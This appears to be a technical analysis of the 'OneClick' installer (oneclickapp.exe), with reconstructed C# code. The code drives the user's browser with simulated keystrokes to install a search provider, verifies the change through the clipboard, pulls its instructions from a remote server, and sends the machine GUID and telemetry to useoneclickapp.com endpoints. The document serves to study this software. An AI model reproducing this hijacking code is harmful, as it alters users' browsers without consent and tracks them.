Technical Analysis of oneclickapp.exe ("OneClick" v2.5.10.20)

// Reconstructed from OneClick.Helpers.PreInstallHandler::BrowseToPage & QueryAndVerifyContent
private void BrowseToPage(int delayMultiplier)
{
    try
    {
        EnsureForeground();
        Thread.Sleep(300 * delayMultiplier);
        SimulateKeyCombo(VK_CONTROL, VK_L);
        Thread.Sleep(400 * delayMultiplier);

        Application.Current.Dispatcher.Invoke(() => Clipboard.SetText(this.Aps));
        Thread.Sleep(200 * delayMultiplier);
        SimulateKeyCombo(VK_CONTROL, VK_V);
        Thread.Sleep(300 * delayMultiplier);
        SimulateKey(VK_RETURN);
        Thread.Sleep(2000 * delayMultiplier);

        int majorVersion = 0;
        if (!string.IsNullOrEmpty(VersionLabel) && VersionLabel != "-")
            int.TryParse(VersionLabel.Split('.')[0], out majorVersion);

        if (majorVersion < 155 && majorVersion >= 152)
        {
            SimulateKey(VK_TAB);
            Thread.Sleep(300 * delayMultiplier);
        }
        SimulateKey(VK_TAB);
        Thread.Sleep(300 * delayMultiplier);

        for (int i = 0; i < 10; i++)
        {
            SimulateKey(VK_DOWN); // Cycle dropdown to the newly added search provider
            Thread.Sleep(200 * delayMultiplier);
        }
    }
    catch (Exception ex)
    {
        ActivityTracker.FailureState = "navigate_url_error: " + ex.Message;
    }
}

private bool QueryAndVerifyContent(int delayMultiplier)
{
    try
    {
        EnsureForeground();
        Thread.Sleep(300 * delayMultiplier);
        SimulateKeyCombo(VK_CONTROL, VK_L);
        Thread.Sleep(400 * delayMultiplier);
        Application.Current.Dispatcher.Invoke(() => Clipboard.SetText(this.Giq));
        Thread.Sleep(200 * delayMultiplier);
        SimulateKeyCombo(VK_CONTROL, VK_V);
        Thread.Sleep(300 * delayMultiplier);
        SimulateKey(VK_RETURN);
        Thread.Sleep(2600 * delayMultiplier);

        SimulateKeyCombo(VK_CONTROL, VK_A); // Select all page text
        Thread.Sleep(100 * delayMultiplier);
        SimulateKeyCombo(VK_CONTROL, VK_C); // Copy to clipboard
        Thread.Sleep(100 * delayMultiplier);
        SimulateKeyCombo(VK_CONTROL, VK_L);
        Thread.Sleep(100 * delayMultiplier);
        SimulateKeyCombo(VK_CONTROL, VK_V);
        Thread.Sleep(100 * delayMultiplier);

        bool isEmpty = false;
        Application.Current.Dispatcher.Invoke(() =>
        {
            isEmpty = string.IsNullOrEmpty(Clipboard.GetText());
        });
        return isEmpty;
    }
    catch (Exception ex)
    {
        ActivityTracker.FailureState = "search_clipboard_error: " + ex.Message;
        return true;
    }
}

// Reconstructed from OneClick.Helpers.ApiService & OneClick.Models.LogRequest
public static async Task CallSlogAsync()
{
    try
    {
        var content = new StringContent(SystemInfoHelper.GetMachineGuid(), Encoding.UTF8, "text/plain");
        HttpResponseMessage resp = await _httpClient.PostAsync(InstallerConfig.SlogApiUrl, content);
        string json = await resp.Content.ReadAsStringAsync();

        var serializer = new DataContractJsonSerializer(typeof(SlogResponse));
        using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json)))
        {
            var data = (SlogResponse)serializer.ReadObject(ms);
            if (data != null)
            {
                BrowserFetch = data.BrowserFetch ?? "firefox";
                SessionIndex = data.SessionIndex ?? "";
                Go           = data.Go           ?? "";
                Aps          = data.Aps          ?? "";
                Fifo         = data.Fifo         ?? "";
                Giq          = data.Giq          ?? "";
            }
        }
    }
    catch { }
}

public string ToFormBody()
{
    return string.Format(
        "UserKey={0}&BrowserFetch={1}&SessionIndex={2}&SystemVersion={3}&SystemCategory={4}" +
        "&OperatingSystemBuild={5}&LaunchStart={6}&AdvanceStep={7}&InitialClose={8}" +
        "&SetupDismissed={9}&TypeAccessed={10}&FailureState={11}&ReleaseBuild={12}" +
        "&ConfigurationId={13}&RetrySignal={14}&EventCaptured={15}&RetryAttempt={16}" +
        "&ScreenCount={17}&RunFinished={18}&BrowserBuild={19}&ScreenSize={20}",
        /* 21 URL-encoded telemetry fields sent to https://api.useoneclickapp.com/oneReport */
    );
}

// Reconstructed from OneClick.InstallerConfig & InstallProgressView
public static class InstallerConfig
{
    public static readonly string AppName             = "OneClick";
    public static readonly string ExeName             = "OneClick.exe";
    public static readonly string AppProcessName      = "OneClick";
    public static readonly string AppId               = "1773850162818201";
    public static readonly string WelcomeUrl          = "https://www.useoneclickapp.com/one-thankyou";
    public static readonly string UninstallUrl        = "https://useoneclickapp.com/one-goodbye";
    public static readonly string EulaUrl             = "https://useoneclickapp.com/one-eula";
    public static readonly string PrivacyUrl          = "https://useoneclickapp.com/one-privacy";
    public static readonly string SlogApiUrl          = "https://api.useoneclickapp.com/oneServer";
    public static readonly string LogsApiUrl          = "https://api.useoneclickapp.com/oneReport";
    public static readonly string RegUninstallKeyPath = @"Software\Microsoft\Windows\CurrentVersion\Uninstall";

    public static string TargetDirectory   => Path.Combine(Environment.GetFolderPath(SpecialFolder.LocalApplicationData), AppName);
    public static string AppExecutablePath => Path.Combine(TargetDirectory, ExeName);
}